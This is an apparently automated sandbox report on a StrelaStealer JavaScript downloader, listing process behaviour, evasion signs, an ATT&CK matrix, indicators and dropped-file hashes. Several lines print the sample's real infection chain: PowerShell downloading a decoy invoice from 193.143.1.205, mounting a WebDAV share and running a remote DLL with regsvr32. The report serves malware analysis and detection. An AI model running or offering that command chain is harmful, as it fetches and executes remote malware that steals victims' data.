Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4989			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4866			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3108	Thread sleep count: 4989 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3416	Thread sleep count: 4866 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4040	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6712	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4232	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1088	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2228692069.000002213791C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228692069.00000221378B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3448034614.00000270E1059000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3446063410.00000270DBA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
26804379891331232.js	11%	Virustotal		Browse
26804379891331232.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/7	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.2149015124.000001CF12EB3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/I	net.exe, 00000007.00000002.2228692069.00000221378B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228692069.00000221378E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2227984766.00000270E0DE0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3447900583.00000270E1000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/7	net.exe, 00000007.00000002.2228692069.00000221378B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2228692069.00000221378B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228692069.00000221378E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228692069.000002213790F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/-	net.exe, 00000007.00000002.2228692069.00000221378E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589066
Start date and time:	2025-01-11 09:06:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	26804379891331232.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.64.41.3, 162.159.61.3, 2.23.240.205, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.221.239.145, 23.221.239.160, 192.168.2.6, 13.107.246.45, 3.219.243.226, 4.245.163.56, 23.47.168.24
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:07:01	API Interceptor	28x Sleep call for process: powershell.exe modified
03:07:06	API Interceptor	1x Sleep call for process: net.exe modified
03:07:06	API Interceptor	2x Sleep call for process: svchost.exe modified
03:07:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2598020871582219525.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2014717258213104107.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274513223711714673.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263027457530602
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0z:9JZj5MiKNnNhoxuu
MD5:	DB1987C44E642E9C2086892B2F48ED26
SHA1:	A286A7E1B53DD7FFEA39ED1EE993F9E539A1EB55
SHA-256:	6846C17147143CC70726567AA6C5A2C93436858B9F44705128556663E20FB6A0
SHA-512:	93ABBD5A4BD291F9169E4E282DD8E007F39C8AC790391D9C16419EF2E28166E3A6C7F4E9733CDE3F168DCC2BAF832605E3EC0F6AD9C35BF24D5DBE46002A3595
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x2df80870, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555323245057568
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	25E19CB390FC4495CE60759DBDE984BC
SHA1:	E7AC44B0CF0BACCAFCA55CF51523CAD77DC0A9A5
SHA-256:	6E27B7A87667AA021760D970BED7BF2B8A13D9880BCB8CEFC2E1DFF8CD0CA575
SHA-512:	9EFCFBA4321425E39F2A7A4319EF0D3E2ACD6B2E657B817907EE5CBE2BB05979695607BB802E2D6DCEAA090987518FED098D1CB9EDBF3A72C3D802EAFAB5A5E7
Malicious:	false
